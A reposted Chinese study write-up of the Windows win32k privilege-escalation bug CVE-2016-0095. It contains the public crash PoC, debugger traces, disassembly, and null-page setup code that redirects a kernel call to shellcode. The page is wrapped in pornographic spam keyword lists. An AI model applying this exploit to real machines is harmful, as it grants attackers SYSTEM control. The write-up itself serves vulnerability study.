日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2016-0095提权漏洞学习笔记

發布時間:2025/3/21 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2016-0095提权漏洞学习笔记 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一.前言

1.漏洞信息
該漏洞是在win32k中的bGetRealizedBrush產生的,是一個內核空指針解引用的漏洞,利用該漏洞可以完成提權操作。由于有公開的POC,所以對這個漏洞的分析和利用就變得簡單,POC代碼如下:

/*** Author: bee13oy of CloverSec Labs* BSoD on Windows 7 SP1 x86 / Windows 10 x86* EoP to SYSTEM on Windows 7 SP1 x86 **/#include <Windows.h>#pragma comment(lib, "gdi32.lib") #pragma comment(lib, "user32.lib")#ifndef W32KAPI #define W32KAPI DECLSPEC_ADDRSAFE #endifunsigned int demo_CreateBitmapIndirect(void) {static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };bitmap.bmBits = bits;SetLastError(NO_ERROR);HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);return (unsigned int)hBitmap; }#define eSyscall_NtGdiSetBitmapAttributes 0x1110W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1) {HMODULE _H_NTDLL = NULL;PVOID addr_kifastsystemcall = NULL;_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");__asm{push argv1;push argv0;push 0x00;mov eax, eSyscall_NtGdiSetBitmapAttributes;mov edx, addr_kifastsystemcall;call edx;add esp, 0x0c;} }void Trigger_BSoDPoc() {HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);RECT rect = { 0 };rect.left = 0x368c;rect.top = 0x400000;HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush); }int main() {Trigger_BSoDPoc();return 0; }

2.實驗環境

  • 操作系統:Win7 x86 sp1
  • 編譯器:Visual Studio 2017
  • 調試器:IDA,WinDbg

二.漏洞分析

【先關學習技術文檔】

編譯運行POC,根據信息可以得知,崩潰發生在win32k!bGetRealizedBrush偏移0x38的地址。崩潰的原因是此時的eax為0,函數要對[eax + 0x24]這個地址中的數據進行驗證的時候,會因為[0x24]不是個合法地址而產生崩潰。

kd> g KDTARGET: Refreshing KD connection Access violation - code c0000005 (!!! second chance !!!) win32k!bGetRealizedBrush+0x38: 96980560 f6402401 test byte ptr [eax+24h],1 1: kd> r eax eax=00000000 1: kd> k ChildEBP RetAddr 9c3339a0 969834af win32k!bGetRealizedBrush+0x38 9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f 9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337 9c333a54 96a7bb9d win32k!EngPaint+0x51 9c333c20 83e781ea win32k!NtGdiFillRgn+0x339 9c333c20 77c270b4 nt!KiFastCallEntry+0x12a 0012feac 77dd066b ntdll!KiFastSystemCallRet 0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc 0012fed0 0042ba63 gdi32!FillRgn+0xb2

根據偏移,可以在IDA中找到相應的代碼,根據IDA的解析,可以知道,此時是因為EBRUSHOBJ偏移0x34中的數據為0導致了崩潰

.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j .text:BF840543 push ebx .text:BF840544 mov ebx, [ebp+arg_4] ; 將第二個參數賦給ebx,此時ebx指向EBRUSHOBJ結構體 .text:BF840547 push esi .text:BF840548 xor esi, esi .text:BF84054A mov [ebp+var_24], eax .text:BF84054D mov eax, [ebx+34h] ; 將ebx偏移0x34中保存的數據賦給eax .text:BF840550 mov [ebp+arg_0], esi .text:BF840553 mov [ebp+var_2C], esi .text:BF840556 mov [ebp+var_28], 0 .text:BF84055A mov eax, [eax+1Ch] .text:BF84055D mov [ebp+arg_4], eax .text:BF840560 test byte ptr [eax+24h], 1 ; 崩潰產生的地點 .text:BF840564 mov [ebp+var_1C], esi .text:BF840567 mov [ebp+var_10], esi .text:BF84056A jz short loc_BF84057A

三.漏洞利用

產生崩潰的原因是因為此時0地址并不是合法的地址,因此,只需要在0地址中申請一塊內存,讓0地址合法就可以防止崩潰,讓程序繼續運行。同時,該函數中存在函數調用,通過更改相關數據可以執行ShellCode。

在bGetRealizedBrush函數中,一共有三個地方執行了函數調用。其中的兩個位置內容如下,都是通過第三個參數進行函數調用。由于無法控制第三個參數,所以這兩個位置并不可以被利用。

.text:BF840763 loc_BF840763: .text:BF840763 or eax, 80000000h .text:BF840768 push eax .text:BF840769 push esi .text:BF84076A push esi .text:BF84076B push esi .text:BF84076C push ecx .text:BF84076D push ebx .text:BF84076E call [ebp+arg_8] .text:BF840771 test eax, eax .text:BF840773 jz short loc_BF84077D。。。 .text:BF840C27 loc_BF840C27: .text:BF840C27 push [ebp+var_24] .text:BF840C2A push esi .text:BF840C2B push [ebp+var_1C] .text:BF840C2E push ecx .text:BF840C2F push eax .text:BF840C30 push ebx .text:BF840C31 call [ebp+arg_8]

另一個位置是可以利用的,因為ebx在上面賦值為第二個參數,也就是EBRUSHOBJ結構體以后就沒有發生改把。所以,此時的eax就是EBRUSHOBJ偏移0x34的數據,也就是0。所以,只要將0x748地址中的內容賦值為ShellCode的地址,就會在下面因為執行call edi而成功執行ShellCode完成提權。

.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的數據 .text:BF8407E7 xor ecx, ecx .text:BF8407E9 cmp dword ptr [eax+3Ch], 1 .text:BF8407ED mov eax, [ebp+arg_4] .text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748] .text:BF8407F6 setz cl .text:BF8407F9 inc ecx .text:BF8407FA mov [ebp+var_14], ecx .text:BF8407FD cmp edi, esi .text:BF8407FF jz short loc_BF840823 .text:BF840801 test dword ptr [eax+24h], 8000h .text:BF840808 jnz short loc_BF840810 .text:BF84080A mov eax, [eax+464h] .text:BF840810 .text:BF840810 loc_BF840810: ; .text:BF840810 mov ecx, [ebp+var_2C] .text:BF840813 mov ecx, [ecx+2Ch] .text:BF840816 mov edx, [ebx+0Ch] .text:BF840819 push ecx .text:BF84081A push edx .text:BF84081B push [ebp+var_14] .text:BF84081E push eax .text:BF84081F call edi ; 調用函數 .text:BF840821 jmp short loc_BF840837

要達到此處的函數調用,需要繞過如下的兩處驗證。此時的eax和esi都是0,所以這兩處就是在驗證[0x590]和[0x592]是否為0。

.text:BF840799 loc_BF840799: .text:BF840799 movzx edx, word ptr [eax+590h] .text:BF8407A0 cmp dx, si .text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否為0 .text:BF8407A9 add eax, 592h .text:BF8407AE cmp [eax], si .text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否為0

如果跳轉到loc_BF8406F是無法達到函數調用的地方完成提權,所以這兩個地方都不能是0。因此,在0地址申請內存以后,除了在0x748賦值ShellCode地址以外,還需要將0x590和0x592賦值為非0值。

BOOL Init_2016_0095() {BOOL bRet = TRUE;if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}*(PWORD)0x590 = 0x1;*(PWORD)0x592 = 0x1;*(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;exit:return bRet; }

在崩潰點下斷點以后,運行exp。此時,因為0地址有效,所以此時不會發生崩潰,程序可以繼續向下運行。

3: kd> ba e1 win32k!bGetRealizedBrush+0x38 3: kd> g Breakpoint 0 hit win32k!bGetRealizedBrush+0x38: 96de0560 f6402401 test byte ptr [eax+24h],1 0: kd> p win32k!bGetRealizedBrush+0x3c: 96de0564 8975e4 mov dword ptr [ebp-1Ch],esi 0: kd> r eax eax=00000000

繼續向下運行到第一處驗證,此時si為0,而由于0x590被寫入了1,所以dx不為0,不會發生跳轉。

1: kd> p win32k!bGetRealizedBrush+0x271: 96de0799 0fb79090050000 movzx edx,word ptr [eax+590h] 1: kd> p win32k!bGetRealizedBrush+0x278: 96de07a0 663bd6 cmp dx,si 1: kd> p win32k!bGetRealizedBrush+0x27b: 96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r dx dx=1 1: kd> r si si=0 1: kd> r eax eax=00000000

繼續運行到第二處驗證,此時同理,不會發生跳轉。

1: kd> p win32k!bGetRealizedBrush+0x281: 96de07a9 0592050000 add eax,592h 1: kd> p win32k!bGetRealizedBrush+0x286: 96de07ae 663930 cmp word ptr [eax],si 1: kd> p win32k!bGetRealizedBrush+0x289: 96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7) 1: kd> r si si=0 1: kd> r eax eax=00000592 1: kd> db 00000592 00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

繼續運行,到將0x748地址中的內容賦值給edi,此時的edi就會是ShellCode的地址。

1: kd> p win32k!bGetRealizedBrush+0x2c8: 96de07f0 8bb848070000 mov edi,dword ptr [eax+748h] 1: kd> p win32k!bGetRealizedBrush+0x2ce: 96de07f6 0f94c1 sete cl 1: kd> r edi edi=00401050

當運行到函數調用處,edi保存的依然是ShellCode的地址

1: kd> p win32k!bGetRealizedBrush+0x2f1: 96de0819 51 push ecx 1: kd> p win32k!bGetRealizedBrush+0x2f2: 96de081a 52 push edx 1: kd> p win32k!bGetRealizedBrush+0x2f3: 96de081b ff75ec push dword ptr [ebp-14h] 1: kd> p win32k!bGetRealizedBrush+0x2f6: 96de081e 50 push eax 1: kd> p win32k!bGetRealizedBrush+0x2f7: 96de081f ffd7 call edi 1: kd> r edi edi=00401050

繼續執行,就會執行ShellCode的代碼完成提權

最終,程序會成功提權,如下圖所示:

《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的CVE-2016-0095提权漏洞学习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 韩国一区二区三区在线观看 | 深夜福利视频网站 | 精品日日夜夜 | 亚洲 欧美 变态 另类 综合 | 亚日韩在线 | 91香蕉视频在线看 | 开心激情综合 | 女~淫辱の触手3d动漫 | 中文有码一区 | 黄色片在线免费观看视频 | 欧美人与zoxxxx另类 | 久久99精品视频 | 一级影片在线观看 | 国产一级性生活 | 国产免费观看久久黄av片 | 久久精品人妻av一区二区三区 | 男女被到爽流尿 | 久久精品视频2 | 四虎影视成人 | 思思99精品视频在线观看 | 一个色av| 国产精品69久久久 | www.国产色| 91福利在线免费观看 | 麻豆最新 | 欧美一级大片在线观看 | 久久91亚洲人成电影网站 | 搞黄视频在线观看 | 日韩夫妻性生活 | 激情伦成人综合小说 | 天天操人人射 | 日韩视频中文字幕 | 中文字幕1区2区 | 亚洲色偷偷综合亚洲av伊人 | 成人黄色一区二区三区 | 黄色精品一区 | 久久久久久欧美精品se一二三四 | 亚洲AV无码精品黑人黑人 | bt天堂新版中文在线地址 | 日本a视频在线观看 | 午夜88| 久久九| 欧美成人午夜精品免费 | 久久b | 国产中文字幕亚洲 | 天天艹| 四虎一区二区三区 | 草碰在线| 中文字幕免费在线看线人 | 狠操av | 中文字幕自拍偷拍 | 一级久久 | 懂色一区二区 | 西西44rtwww国产精品 | 成人蜜桃av | 欧洲成人综合 | 中文字幕一区二区久久人妻 | 日日夜夜中文字幕 | 日本少妇一区二区 | 欧美日韩国产一区二区三区 | 网站av| 天天插天天色 | 亚洲欧美精品aaaaaa片 | 我想看毛片 | 亚洲乱码国产乱码精品精98午夜 | 色呦呦在线 | 18久久久| 国产精品亚洲综合 | 天堂新版8中文在线8 | 欧美三级欧美成人高清 | 日本三级视频在线 | 色网站视频 | 国内激情| 久久艹av | 久久精视频 | 精品亚洲永久免费精品 | 初恋视频污| 欧美日韩中文字幕视频 | 日本白嫩的bbw | 吸咬奶头狂揉60分钟视频 | 亚洲国产精品一区二区三区 | 久久精品久久久久 | 欧美精品色婷婷五月综合 | 18视频在线观看娇喘 | 欧美亚洲影院 | 欧美大奶在线 | 毛片1000部免费看 | 无码人妻aⅴ一区二区三区 国产高清一区二区三区四区 | 国产精品高潮呻吟久久 | 好吊色免费视频 | 欧美人妻少妇一区二区三区 | 亚洲aaaaaa | 99视频一区二区 | 美女扒开下面让男人捅 | 大屁股白浆一区二区三区 | 伊人宗合 | √天堂资源地址在线官网 | 性折磨bdsm欧美激情另类 | 亚洲欧美综合精品久久成人 |